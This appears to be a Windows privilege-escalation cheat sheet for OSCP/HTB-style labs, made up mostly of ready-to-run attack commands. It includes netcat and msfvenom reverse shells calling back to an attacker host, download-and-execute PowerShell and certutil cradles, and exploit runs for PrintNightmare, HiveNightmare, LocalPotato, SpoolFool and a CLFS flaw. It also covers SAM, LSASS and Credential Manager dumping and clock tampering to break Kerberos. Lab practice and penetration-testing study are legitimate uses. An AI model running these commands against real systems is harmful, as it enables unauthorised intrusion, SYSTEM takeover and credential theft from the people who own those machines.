REM Interactive -- spawns new cmd.exe with full default privileges: .\FullPowers.exe REM Non-interactive -- chain directly into potato (most common): .\FullPowers.exe -c ".\GodPotato-NET4.exe -cmd 'cmd /c {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd'" -z REM Or: spawn reverse shell directly: .\FullPowers.exe -c "{{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd" -z REM Extended privilege set (may fail on NETWORK SERVICE): .\FullPowers.exe -x
3
Verify tokens are restored
whoami /priv REM Should now show SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege as Enabled
How it works: FullPowers creates a scheduled task that runs as the current service account but with full default privileges (not stripped). The task spawns your command, then is immediately deleted. This bypasses the stripping done by CreateProcessAsUser in the service manager.
⚡ Method 2 - EnableAllTokenPrivs.ps1 (fashionproof) - Enable DISABLED privileges
Use this when whoami /priv shows privileges as Disabled (they are IN the token but not active). This script calls AdjustTokenPrivileges to enable every disabled privilege in the current token. Works for SeBackupPrivilege, SeRestorePrivilege, SeManageVolumePrivilege, SeLoadDriverPrivilege, etc.
1
Transfer EnableAllTokenPrivs.ps1 to target
iwr http://{{KALI_IP}}:{{PORT}}/windows/EnableAllTokenPrivs.ps1 -o {{WPATH}}\ep.ps1 REM Direct one-liner (if outbound HTTP allowed from target): powershell -ep bypass -c "iex(New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/windows/EnableAllTokenPrivs.ps1')"
2
Run the script - enables ALL disabled privileges in current token
powershell -ep bypass -File {{WPATH}}\ep.ps1 REM Verify all privs are now Enabled: whoami /priv
3
Now run your exploit (e.g. SeManageVolumeExploit.exe, robocopy /b, etc.)
REM After enabling - SeManageVolumePrivilege example: .\SeManageVolumeExploit.exe REM SeBackupPrivilege example (now enabled, so robocopy /b works): robocopy /b C:\Windows\System32\config {{WPATH}} SAM SYSTEM SECURITY
⚡ Enable via PowerShell
⚠️ A privilege listed as "Disabled" in whoami /priv is present in the token but not active. It can be enabled with a Win32 API call (AdjustTokenPrivileges). Most exploit tools do this automatically, but you can also do it manually.
1
Enable all disabled token privileges - EnableAllTokenPrivs.ps1 (fashionproof)
REM RECOMMENDED: PowerShell script that enables ALL disabled privs in one shot: iwr http://{{KALI_IP}}:{{PORT}}/windows/EnableAllTokenPrivs.ps1 -o {{WPATH}}\ep.ps1 powershell -ep bypass -File {{WPATH}}\ep.ps1 REM Source: github.com/fashionproof/EnableAllTokenPrivs
1b
Alternative: PrivFu PrivilegeEnabler.exe (daem0nc0re) - same result, EXE format
REM PrivFu toolkit - PrivilegedOperations\PrivilegeEnabler\bin\Release\PrivilegeEnabler.exe: iwr http://{{KALI_IP}}:{{PORT}}/windows/PrivilegeEnabler.exe -o {{WPATH}}\PrivilegeEnabler.exe .\PrivilegeEnabler.exe REM Source: github.com/daem0nc0re/PrivFu (look in PrivilegedOperations folder) REM NOTE: "EnableAllPrivileges.exe" from token-priv suite (hatRiot) is a separate tool - same concept
2
PowerShell inline (enable specific priv)
$definition = @" using System; using System.Runtime.InteropServices; public class AdjPriv { [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok); [DllImport("advapi32.dll", SetLastError = true)] internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct TokPriv1Luid { public int Count; public long Luid; public int Attr; } internal const int SE_PRIVILEGE_ENABLED = 0x00000002; internal const int TOKEN_QUERY = 0x00000008; internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; public static bool EnablePrivilege(long processHandle, string privilege) { bool retVal; TokPriv1Luid tp; IntPtr hproc = new IntPtr(processHandle); IntPtr htok = IntPtr.Zero; retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok); tp.Count = 1; tp.Luid = 0; tp.Attr = SE_PRIVILEGE_ENABLED; retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid); retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero); return retVal; } } "@ $processHandle = (Get-Process -id $pid).Handle $type = Add-Type $definition -PassThru $type[0]::EnablePrivilege($processHandle, "SeBackupPrivilege")
Who Has It
Very rarely delegated. Some backup agents, RAS/VPN services
Impact
Read all credentials stored in Windows Credential Manager (plaintext)
Severity
THREAT - lateral movement, not always direct SYSTEM
Reference
@tiraniddo blog - Credential Manager access via privileged binding
💡 SeTrustedCredManAccessPrivilege allows direct read of the Credential Manager vault via CredReadDomainCredentials at a higher privilege level than normal. The Microsoft Docs describe it as "required for trusted access to Credential Manager" - in practice it means you can read credentials stored by other users on the machine if they used Windows Credential Manager.
⚡ Detection
1
Confirm privilege is present
whoami /priv | findstr SeTrustedCredMan
2
Enable if Disabled
iwr http://{{KALI_IP}}:{{PORT}}/windows/EnableAllTokenPrivs.ps1 -o {{WPATH}}\\ep.ps1; powershell -ep bypass -File {{WPATH}}\\ep.ps1
⚡ Exploitation - CredentialManager dump via PrivFu
1
Download PrivFu toolkit
iwr http://{{KALI_IP}}:{{PORT}}/windows/CredentialManager.exe -o {{WPATH}}\\CredentialManager.exe
2
Dump all stored credentials
{{WPATH}}\\CredentialManager.exe
3
Alternative - built-in cmdkey to list, then use targeted dump
cmdkey /list # Then: use vaultcmd to query specific vault entries vaultcmd /listcreds:"Windows Credentials" /all
4
PowerShell - enumerate all credential vaults
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ }
💡 Rule: Every privilege in whoami /priv - even Disabled - is worth checking. Disabled ≠ not exploitable. Source: gtworek/Priv2Admin + Hacer Dalkiran writeup
Privilege Threat Method Key Tool / Command Notes
SeImpersonatePrivilegeCRITICALToken impersonationGodPotato, PrintSpoofer, SigmaPotatoIIS/MSSQL service accounts
SeAssignPrimaryTokenPrivilegeCRITICALToken swapGodPotato, JuicyPotatoNG -t uSame context as SeImpersonate
SeDebugPrivilegeCRITICALProcess injectionmimikatz, procdump64, comsvcs.dllLSASS dump → all creds
SeManageVolumePrivilegeCRITICALC:\ DACL → DLL hijackSeManageVolumeExploit.exeWorks even DISABLED (self-enables)
SeBackupPrivilegeHIGHFile ACL bypassrobocopy /b, reg save, secretsdumprobocopy works even DISABLED
SeRestorePrivilegeHIGHWrite any fileSeRestoreAbuse.exeEnable first
SeTakeOwnershipPrivilegeHIGHOwn any filetakeown, icacls, PowerShell SetOwnerEnable first; backup utilman
SeLoadDriverPrivilegeHIGHLoad vuln kernel drivereoploaddriver + ExploitCapcom/szkg64Enable first; Capcom may be blocked
SeTcbPrivilegeHIGHLsaLogonUser S4UTcbElevation.exe, PrivFuExploitDB paper #42556
SeCreateTokenPrivilegeHIGHForge tokentoken-priv, PrivFuNeeds SeImpersonate companion
SeRelabelPrivilegeMEDIUMChange integrity labelPrivFu SetIntegrityLevel.exeOnly useful if already High IL
SeCreateSymbolicLinkPrivilegeMEDIUMSymlink redirectmklink, New-Item SymbolicLinkService write redirect to attacker path
SeSecurityPrivilegeMEDIUMEvent log mgmtwevtutilLog clearing / reading sensitive events
SeTrustedCredManAccessPrivilegeTHREATCredential ManagerPrivFu CredentialManager.exeRead all vault creds
SeAuditPrivilegeTHREATWrite security eventsAuthz API (3rd party)Forge/flood security log; overwrite old events
SeSystemEnvironmentPrivilegeHIGHEFI var modifyRWEverythingPersistence - survives OS reinstall
SeShutdownPrivilegeSITUATIONALForce rebootshutdown /r /t 0Triggers payloads on restart
SeRemoteShutdownPrivilegeAVAILABILITYRemote rebootshutdown /s /f /m \\server1DoS / reboot remote host
SeIncreaseBasePriorityPrivilegeAVAILABILITYProcess prioritystart /realtime AppName.exeCan starve other processes on servers
SeIncreaseQuotaPrivilegeAVAILABILITYResource quotas3rd party toolChange CPU/memory limits → unbootable
SeLockMemoryPrivilegeAVAILABILITYMemory starvationPoC by @waleedassarLock pages → OS memory starvation
SeTimeZonePrivilegeMESSTimezone changetzutil /s "Chatham Islands Standard Time"Breaks time-based auth / logging
SeChangeNotifyPrivilegeNONEBypass traverse-Default for all users - not interesting
SeIncreaseWorkingSetPrivilegeNONEWorking set-Default for all users - not interesting
SeMachineAccountPrivilegeNONEAdd workstation-AD: add machine account - useful in AD attacks
SeEnableDelegationPrivilegeNONE (Windows)Delegation-Unused in modern Windows
SeProfileSingleProcessPrivilegeNONEProfiling-Prefetch/SuperFetch parameters only
SeCreateGlobalPrivilegeNONEGlobal objects-Needed by some services
SeUndockPrivilegeNONEUndock laptop-Legacy - irrelevant on servers
SeSyncAgentPrivilegeNONE (Windows)Sync agent-Unused in modern Windows
SeDelegateSessionUserImpersonatePrivilegeUNKNOWNSession impersonation-Rare - research manually; may allow cross-session token theft
SeSystemtimePrivilegeMEDIUMChange system clockSet-Date, w32tm, time cmdSet >5min off DC → Kerberos auth fails → force NTLM fallback. Corrupt audit log timestamps. REVERT mandatory.
SeSystemProfilePrivilegeLOWETW kernel profilingxperf, logman, Get-CounterLow value alone. Investigate if SeDebugPrivilege also present - ETW+debug = kernel memory read path.
SeCreatePagefilePrivilegeLOWPagefile manipulationwmic pagefileset, Set-WmiInstanceSolo: low. Chained with SeBackupPrivilege: force memory to pagefile → read pagefile.sys → may contain LSASS creds (no Credential Guard).
SeCreatePermanentPrivilegeLOWPermanent kernel objectsPSBits PoC, NtCreateSection (WinAPI)Rootkit persistence primitive. Rarely delegated to users. Almost exclusively LocalSystem/kernel drivers.
Always check: systeminfo | findstr "OS\|Hotfix" and wmic qfe get HotFixID before attempting any CVE. If the machine is unpatched, these hit fast.
💥 CVE-2024-26229 - Windows CSC Service LPE (Seen in OSCP notes 2024)
💡CSC (Client-Side Caching) service improper privilege handling → arbitrary SYSTEM write. No token privileges required. PoC is a standalone EXE.
1
Check patch status
wmic qfe get HotFixID | findstr "KB5036893\|KB5036892\|KB5036891" # If not listed → potentially vulnerable
2
Transfer and run PoC
iwr http://{{KALI_IP}}:{{PORT}}/windows/CVE-2024-26229.exe -o {{WPATH}}\\cve26229.exe {{WPATH}}\\cve26229.exe
💥 LocalPotato CVE-2023-21746 → StorSvc DLL Hijack
💡NTLM local authentication confusion → write SprintCSP.dll to a PATH directory → trigger StorSvc SvcRebootToFlashingMode → SYSTEM. No SeImpersonate needed - pure CVE + DLL hijack.
1
Generate malicious SprintCSP.dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o SprintCSP.dll cp SprintCSP.dll ~/privesc-toolkit/windows/SprintCSP.dll # Place in http server windows/ dir
2
Transfer LocalPotato and the DLL
iwr http://{{KALI_IP}}:{{PORT}}/windows/LocalPotato.exe -o {{WPATH}}\\LocalPotato.exe iwr http://{{KALI_IP}}:{{PORT}}/windows/SprintCSP.dll -o {{WPATH}}\\SprintCSP.dll
3
Start listener and trigger
{{WPATH}}\\LocalPotato.exe -exe C:\Windows\System32\StorSvc.dll -dll {{WPATH}}\\SprintCSP.dll
💥 SpoolFool CVE-2022-21999 - Spooler Directory ACL Abuse
💡Windows Print Spooler service directory ACL misconfiguration → write malicious DLL → loaded by Spooler as SYSTEM. Affects Win 10/11, Server 2019/2022 unpatched. No token privileges required.
1
Check if spooler is running and patch level
sc query Spooler wmic qfe get HotFixID | findstr "KB5010386\|KB5010395"
2
Transfer and run SpoolFool
iwr http://{{KALI_IP}}:{{PORT}}/windows/SpoolFool.exe -o {{WPATH}}\\SpoolFool.exe {{WPATH}}\\SpoolFool.exe -dll {{WPATH}}\\shell.dll
3
Generate shell.dll (Kali)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o shell.dll
💥 HiveNightmare CVE-2021-36934 (SeriousSam) - SAM Readable by Any User
VSS shadow copies of SAM/SECURITY/SYSTEM are readable by ANY authenticated user on unpatched Windows 10 21H1 and earlier. Check with icacls first.
1
Check if vulnerable
icacls C:\Windows\System32\config\SAM # Vulnerable if output shows: BUILTIN\Users:(RX) or BU:(RX)
2
Copy hives from shadow copy (no privileges needed)
for /f "tokens=*" %i in ('vssadmin list shadows ^| findstr "Shadow Copy Volume"') do @echo %i # Use the shadow copy path, e.g. \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM {{WPATH}}\\SAM copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM {{WPATH}}\\SYSTEM copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY {{WPATH}}\\SECURITY
3
Kali: dump hashes offline
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
4
Alternative: use HiveNightmare exploit binary
iwr http://{{KALI_IP}}:{{PORT}}/windows/HiveNightmare.exe -o {{WPATH}}\\HiveNightmare.exe {{WPATH}}\\HiveNightmare.exe
💥 PrintNightmare CVE-2021-1675 / CVE-2021-34527 - Print Spooler RCE/LPE
💡Print Spooler RCE/LPE - load malicious DLL via AddPrinterDriverEx. Affects unpatched Win7-Server 2019. Two variants: RCE (remote, unauthenticated) and LPE (local privilege escalation, needs local access + Spooler running).
1
Check if Spooler is running + patch status
sc query spooler | findstr STATE wmic qfe get HotFixID | findstr "KB5004945\|KB5004946\|KB5004947\|KB5004948" REM If those KBs are NOT present → potentially vulnerable
2
Generate malicious DLL (Kali)
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o evil.dll REM Start SMB server to host it: impacket-smbserver share . -smb2support
3a
LPE - SharpPrintNightmare (local, requires Spooler running)
iwr http://{{KALI_IP}}:{{PORT}}/windows/SharpPrintNightmare.exe -OutFile {{WPATH}}\spn.exe {{WPATH}}\spn.exe \\{{KALI_IP}}\share\evil.dll
3b
LPE - PowerShell PoC (calebstewart)
IEX(New-Object Net.WebClient).DownloadString('http://{{KALI_IP}}:{{PORT}}/scripts/CVE-2021-1675.ps1') Invoke-Nightmare -DriverName "Printer" -NewUser "hacker" -NewPassword "P@ssw0rd123!"
🔗SharpPrintNightmare: cube0x0/CVE-2021-1675 | PS PoC: calebstewart/CVE-2021-1675
💥 Certifried CVE-2022-26923 - AD CS Machine Account Certificate Abuse
💡AD CS domain privilege escalation via machine account certificate abuse. Requires AD CS to be present on the domain. Affects unpatched Server 2019/2022. Check with certipy first.
1
Find vulnerable AD CS templates (Kali)
certipy find -username {{USER}}@{{DOMAIN}} -password '{{PASS}}' -dc-ip {{TARGET}} REM Look for: Certificate Templates with Certifried vulnerability
2
Request certificate and escalate
certipy account update -username {{USER}}@{{DOMAIN}} -password '{{PASS}}' -dc-ip {{TARGET}} -user MACHINE$ -dns DC_HOSTNAME.{{DOMAIN}} certipy req -username {{USER}}@{{DOMAIN}} -password '{{PASS}}' -ca CA_NAME -template Machine -dc-ip {{TARGET}} certipy auth -pfx dc.pfx -dc-ip {{TARGET}}
🔗Tool: github.com/ly4k/Certipy | Check patch: KB5014754
💥 CVE-2023-28252 - Windows CLFS LPE (No Privileges Needed)
💡Common Log File System (CLFS) driver LPE - no special privileges required. Affects Windows 10/11 and Server 2019/2022 unpatched before April 2023. Used by Nokoyawa ransomware in the wild.
1
Check patch status
wmic qfe get HotFixID | findstr "KB5025221\|KB5025224\|KB5025229\|KB5025230" REM If NOT patched → vulnerable
2
Transfer and run PoC
iwr http://{{KALI_IP}}:{{PORT}}/windows/CVE-2023-28252.exe -OutFile {{WPATH}}\clfs.exe {{WPATH}}\clfs.exe
🔗PoC: github.com/fortra/CVE-2023-28252 | Patch: KB5025221 (April 2023)
💡 These are the actual writeups that document how token privileges were exploited on real OSCP/PG/HTB boxes. Read the Access writeups in full - SeManageVolumePrivilege disabled ≠ not exploitable is the key lesson. See also: Priv2Admin reference table.
🎯 [ACCESS] PG Practice - SeManageVolumePrivilege → SYSTEM (5 writeups)
[1] Dpsypher - Original clean writeup (tzres.dll trigger)
Chain: Kerberoast svc_mssql → RunasCs → SeManageVolumeExploit → icacls C:\ → tzres.dll hijack → SYSTEM
medium.com/@Dpsypher/proving-grounds-practice-access ↗
[2] Motasem Hamdan - AD breakdown + PrintConfig DLL path
Extra: Uses Sliver C2, explains FSCTL_SD_GLOBAL_CHANGE mechanism in detail
motasemhamdan.medium.com/...access-writeup ↗
[3] Muhammad Ichwan - Most detailed Printconfig.cpp source
Includes actual Printconfig.cpp source code - compile your own DLL without msfvenom
banua.medium.com/...access-oscp-prep-2025 ↗
[4] siberfaqih - Visual beginner-friendly walkthrough
Clean screenshots, good for understanding the icacls step and DLL placement
medium.com/@siberfaqih/...access-complete-walkthrough ↗
🎯 [HOKKAIDO] PG Practice - SeBackupPrivilege → NTDS.dit
Saqib Chand - SeBackupPrivilege in the wild on PG
Chain: reg save HKLM\sam + HKLM\system → secretsdump offline → admin hash → PtH
medium.com/@sakyb7/...hokkaido ↗
🎯 [RETURN] HTB - Server Operators → VSS binPath → SYSTEM (Validated Live)
0xdf - HTB Return (Server Operators → binPath hijack)
Chain: svc-printer → Server Operators → sc config VSS binPath → Error 1053 (NORMAL) → net localgroup verifies admin. Key lesson: Error 1053 = payload executed fine; sc.exe just timed out waiting for service handshake. Always verify with net localgroup, not sc exit code.
0xdf.gitlab.io/2022/01/15/htb-return.html ↗
🎯 [FOREST] HTB - Account Operators → DCSync → DA
0xdf - HTB Forest (Account Operators → Exchange Windows Permissions → DCSync)
Chain: AS-REP roast svc-alfresco → Account Operators → add to Exchange Windows Permissions group → WriteDacl on domain → grant DCSync → secretsdump → DA hash. Key lesson: Account Operators can add to non-protected groups including Exchange groups.
0xdf.gitlab.io/2020/03/21/htb-forest.html ↗
🎯 [BLACKFIELD] HTB - Backup Operators → SeBackupPrivilege → NTDS.dit
0xdf - HTB Blackfield (Backup Operators → diskshadow → NTDS.dit → DA)
Chain: AS-REP roast audit2020 → reset support account → Backup Operators group → evil-winrm strips privilege → PSRemoting loopback workaround → diskshadow → Copy-FileSeBackupPrivilege → secretsdump. Key lesson: Evil-WinRM strips SeBackupPrivilege. Use PSRemoting loopback to get interactive token.
0xdf.gitlab.io/2020/10/03/htb-blackfield.html ↗
🎯 [FUSE] HTB - Print Operators → SeLoadDriverPrivilege → SYSTEM
0xdf - HTB Fuse (Print Operators → SeLoadDriver → EOPLOADDRIVER → Capcom → SYSTEM)
Chain: SMB null session → printer password spraying → Print Operators group membership → SeLoadDriverPrivilege → eoploaddriver.exe + Capcom.sys → ExploitCapcom → SYSTEM. Key lesson: Print Operators group grants SeLoadDriverPrivilege automatically.
0xdf.gitlab.io/2021/02/27/htb-fuse.html ↗
🎯 [MONTEVERDE] HTB - SeBackupPrivilege → reg save → secretsdump (non-DC)
0xdf - HTB Monteverde (Azure AD Sync → admin creds → reg save → secretsdump)
Chain: LDAP null session → password spraying → Azure AD Sync account → mssql creds in XML → Administrator creds. Key lesson: reg save works without diskshadow on non-DC boxes. SeBackupPrivilege on non-DCs = SAM/SYSTEM dump path.
0xdf.gitlab.io/2020/06/13/htb-monteverde.html ↗
📄 Deep Technical Papers
SeTcbPrivilege - ExploitDB Paper #42556 (must read)
"Abusing Token Privileges For LPE" - the definitive resource. LsaLogonUser S4U → add S-1-5-18 (SYSTEM SID) to token → impersonate → SYSTEM without SeImpersonate.
exploit-db.com/papers/42556 ↗
Hacer Dalkiran - Critical Windows Privs + EnableAllTokenPrivs
Covers SeTakeOwnership, SeBackup, SeCreateToken with EnableAllTokenPrivs.ps1 to enable disabled privileges. Key lesson: check disabled privs too.
hacerdalkiran.medium.com/critical-windows-user-privileges ↗
🔧 Master Reference Resources
Priv2Admin ↗ - ALL Windows privileges mapped to attack paths (canonical reference)
PrivFu ↗ - full privilege manipulation toolkit (SeTcb, SeCreateToken, SeManageVolume PoCs)
token-priv ↗ - SeTcb, SeCreateToken, SeTakeOwnership PoC suite (hatRiot)
EnableAllTokenPrivs.ps1 ↗ - enable all disabled token privileges in one shot
adot8 OSCP notes - whoami /priv ↗ - SeManageVolume, SeBackup, SeRestore pages
🔍 Privilege Enumeration
# Full token dump whoami /all # Just privileges whoami /priv # Hunt for dangerous privs instantly whoami /priv | findstr /i "SeImpersonate\|SeAssignPrimary\|SeDebug\|SeBackup\|SeRestore\|SeTakeOwnership\|SeLoadDriver\|SeManageVolume\|SeTcb\|SeCreateToken\|SeSecurityPriv" # Groups whoami /groups | findstr /i "backup\|dns\|server op\|print op\|admin"
🔍 Group Membership
net localgroup net localgroup Administrators net localgroup "Backup Operators" net localgroup "DnsAdmins" net localgroup "Server Operators" net localgroup "Print Operators" net localgroup "Remote Management Users" net localgroup "Event Log Readers"
🔍 Service Account Detection
Get-WmiObject Win32_Service | Where-Object {$_.StartName -notlike "LocalSystem" -and $_.StartName -notlike "LocalService" -and $_.StartName -notlike "NetworkService"} | Select Name,StartName,State sc qc sc query state= all | findstr SERVICE_NAME
🔍 Automated (run both every time)
.\winPEASx64.exe quiet tokencheck powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
🔍 Potato Selection Guide
OSBest PotatoCommand
Server 2012-2022, Win8-11GodPotato.\GodPotato-NET4.exe -cmd "cmd"
Server 2008 R2, Win7 SP1JuicyPotato (original).\JuicyPotato.exe -l 9999 -p cmd.exe -t *
Win10 1809+, Server 2019PrintSpoofer.\PrintSpoofer.exe -i -c cmd
Server 2019+JuicyPotatoNG.\JuicyPotatoNG.exe -t * -p cmd.exe
Missing SeImpersonateFullPowers first.\FullPowers.exe -c ".\GodPotato..."
💡 Run these in order immediately after landing a shell. Each check takes 2-5 seconds. Any hit = direct path to SYSTEM. Don't skip - SeManageVolumePrivilege and Server Operators membership are commonly missed.
✅ The 8-Check Landing Routine
1
whoami /all - token privileges AND group memberships at once (2s)
whoami /all REM Look for: SeImpersonate, SeDebug, SeBackup, SeManageVolume, SeRestore, SeTakeOwnership, SeLoadDriver REM Look for: Server Operators, Backup Operators, DnsAdmins, Print Operators, Account Operators
2
Filter for high-value privs and groups (2s)
whoami /priv | findstr /i "SeImpersonate SeAssign SeDebug SeManage SeBackup SeRestore SeTakeOwn SeLoad SeTcb SeCreate" whoami /groups | findstr /i "admin\|backup\|dns\|server op\|print op\|account op"
3
Am I already admin? Check before trying privesc (2s)
net localgroup Administrators REM Are you already in there? → just read flags/root.txt directly
4
OS build → CVE applicability (5s)
systeminfo | findstr /i "OS Version\|OS Name\|Hotfix" cmd /c ver REM Cross-reference build number → check CVE Quick Reference page
5
Missing patches (5s)
wmic qfe get HotFixID REM Paste results into windows-exploit-suggester or compare with CVE table
6
Print Spooler running? (2s) - PrintSpoofer eligible if SeImpersonate present
sc query spooler | findstr STATE REM RUNNING + SeImpersonate = PrintSpoofer → SYSTEM immediately
7
HiveNightmare check - SAM readable by any user? (2s)
icacls C:\Windows\System32\config\SAM REM Vulnerable if: BUILTIN\Users:(RX) → CVE-2021-36934 → read SAM without privs
8
Other user home dirs you can read (2s) - credential artifacts
dir C:\Users dir C:\Users\Administrator\Desktop dir C:\Users\Administrator\Documents
⚡ Decision Tree - What Did You Find?
You See Go To Expected Result
SeImpersonatePrivilegeSeImpersonatePrivilege pageGodPotato/PrintSpoofer → SYSTEM
SeDebugPrivilegeSeDebugPrivilege pageLSASS dump → all creds
SeManageVolumePrivilegeSeManageVolumePrivilege pageFull C:\ write → DLL hijack → SYSTEM
SeBackupPrivilegeSeBackupPrivilege pageNTDS.dit or SAM dump → all hashes
Server Operators groupServer Operators pagesc config binPath → SYSTEM (no listener needed)
Backup Operators groupBackup Operators pageSeBackupPrivilege + SeRestorePrivilege → NTDS
DnsAdmins groupDnsAdmins pagePlugin DLL → SYSTEM on DC
Print Operators groupPrint Operators pageSeLoadDriverPrivilege → kernel driver → SYSTEM
SAM readable (HiveNightmare)CVE Quick ReferenceRead SAM → local hashes → crack/PTH
Nothing obviousEnum One-Liners pageAutomated tools: PrivescCheck, WinPEAS
Who Has It
Server Operators, some service accounts - confirmed on svc-printer (HTB Return)
Primary Attack
Set time >5min off DC → all new Kerberos auth fails → force NTLM fallback
Secondary
Corrupt audit log timestamps, bypass cert validity windows
MANDATORY
REVERT time before leaving - or your own shell breaks
MANDATORY REVERT: If you drift clock >5 minutes and forget to restore, your own WinRM/SMB/Kerberos sessions start failing. Kerberos tolerance is exactly 5 minutes (RFC 4120). Restore time BEFORE closing your shell.
⚡ Attack Chain
1
Verify privilege
whoami /priv | findstr SeSystemtime REM If Disabled: run EnableAllTokenPrivs.ps1 first (see Enable Disabled Privs page)
2
Check current time and DC reference time
time /t net time \\{{TARGET}} w32tm /stripchart /computer:{{TARGET}} /samples:3 /dataonly
3a
Method A - PowerShell (most reliable)
Set-Date -Date ((Get-Date).AddMinutes(10)) REM Or set absolute future date: Set-Date -Date '2099-01-01 12:00:00'
3b
Method B - cmd.exe (24h format)
time 23:59:59 date 01/01/2099
3c
Method C - w32tm (point to fake NTP server)
w32tm /config /manualpeerlist:{{KALI_IP}} /syncfromflags:manual /update w32tm /resync /force
4
Verify Kerberos is broken (optional - confirms attack)
klist dir \\{{TARGET}}\SYSVOL REM Should fail with KRB_AP_ERR_SKEW if >5min drift
REVERT - restore domain time sync BEFORE leaving
w32tm /config /syncfromflags:domhier /update w32tm /resync /force REM Alternative if w32tm unavailable: net time \\{{TARGET}} /set /y
💡 Kerberos clock skew tolerance is exactly 5 minutes (default). 6 minutes = all NEW auth fails. Existing tickets remain valid until their expiry time (default 10 hours). Use this window for NTLM relay attacks where Kerberos fallback is possible.
Detection
Event 4616 - system time changed (includes who changed it) • w32tm with /config or /resync arguments • Sudden Kerberos KRB_AP_ERR_SKEW errors in Event 4771 • Time drift alerts from NTP monitoring
Critical Rule: In PowerShell, sc = Set-Content. Always use sc.exe. In evil-winrm, multi-line PS blocks break silently. Always use one-liners with semicolons or upload .ps1 files.
💡 Shell Identification Quick Reference
Shell Type Detect sc alias issue Multi-line PS Fix
evil-winrm (ruby)Prompt: *Evil-WinRM* PSYESBREAKSUse sc.exe; semicolons; upload .ps1
evil-winrm-pyPrompt: evil-winrm-py PSYESBREAKSsc.exe; may also fail on Get-Service (use sc.exe qc direct)
PowerShell interactivePrompt: PS C:\>YESOKUse sc.exe
cmd.exePrompt: C:\>NON/Asc works. Use ^ for special chars in for-loops
Web shell (cmd-based)URL parameter / formNON/AUse full paths; c:\windows\system32\sc.exe
Constrained Language Mode$ExecutionContext.SessionState.LanguageModeYESLimitedStick to .exe calls only. No Add-Type, no [System.Reflection]
💡 Evil-WinRM Multi-Line Fix
BROKEN in evil-winrm - sends each line as separate command
$services = Get-Service foreach ($svc in $services) { $name = $svc.Name if ($name -eq "VSS") { Write-Host $name } }
FIXED - collapse to one-liner with semicolons
sc.exe query state= all | Select-String 'SERVICE_NAME' | ForEach-Object { $n=($_ -split ': ')[1].Trim(); sc.exe qc $n 2>&1 | Out-String | Where-Object { $_ -notmatch 'Access is denied' } | ForEach-Object { "OK: $n" } }
FIXED - upload .ps1 script and execute
REM Inside evil-winrm session: upload /home/kali/script.ps1 C:\Windows\Temp\script.ps1 powershell -ExecutionPolicy Bypass -File C:\Windows\Temp\script.ps1
💡 File Download - All Methods
Method Command Works In
iwr / Invoke-WebRequestiwr http://{{KALI_IP}}:{{PORT}}/file.exe -OutFile {{WPATH}}\file.exePS 3+, evil-winrm, evil-winrm-py
certutilcertutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/file.exe {{WPATH}}\file.exeUNIVERSAL - cmd, PS, constrained mode
bitsadminbitsadmin /transfer job /download /priority high http://{{KALI_IP}}:{{PORT}}/file.exe {{WPATH}}\file.execmd, PS - older Windows support
curl.execurl.exe http://{{KALI_IP}}:{{PORT}}/file.exe -o {{WPATH}}\file.exeWin10 1803+ / Server 2019+ (check: where curl.exe)
SMB copycopy \\{{KALI_IP}}\share\file.exe {{WPATH}}\file.execmd - when HTTP blocked but SMB outbound allowed
WebClient(New-Object System.Net.WebClient).DownloadFile('http://{{KALI_IP}}:{{PORT}}/file.exe','{{WPATH}}\file.exe')PS - when iwr alias blocked
evil-winrm uploadupload /local/path/file.exe {{WPATH}}\file.exeInside evil-winrm session only - fastest method
💡SMB server setup on Kali (required for SMB copy method): impacket-smbserver share . -smb2support -username user -password pass - -smb2support is required on Win10/Server 2019+ (SMBv1 disabled by default).
💡 Constrained Language Mode (CLM)
1
Detect CLM
$ExecutionContext.SessionState.LanguageMode REM FullLanguage = normal. ConstrainedLanguage = restricted.
2
CLM restrictions - these BREAK in constrained mode
REM BROKEN in CLM: Add-Type -TypeDefinition ... [System.Reflection.Assembly]::Load(...) $a = [System.Runtime.InteropServices.Marshal]::...
3
CLM workarounds
REM Use .exe files directly - not affected by CLM: sc.exe config VSS binPath= "cmd /c ..." certutil -urlcache -split -f URL OUTFILE net user / net localgroup REM Try PowerShell v2 (bypasses some CLM on older systems): powershell -Version 2 -Command "..." REM Check AppLocker policy: Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
💡 cmd.exe Only Cheat Sheet (No PowerShell Available)
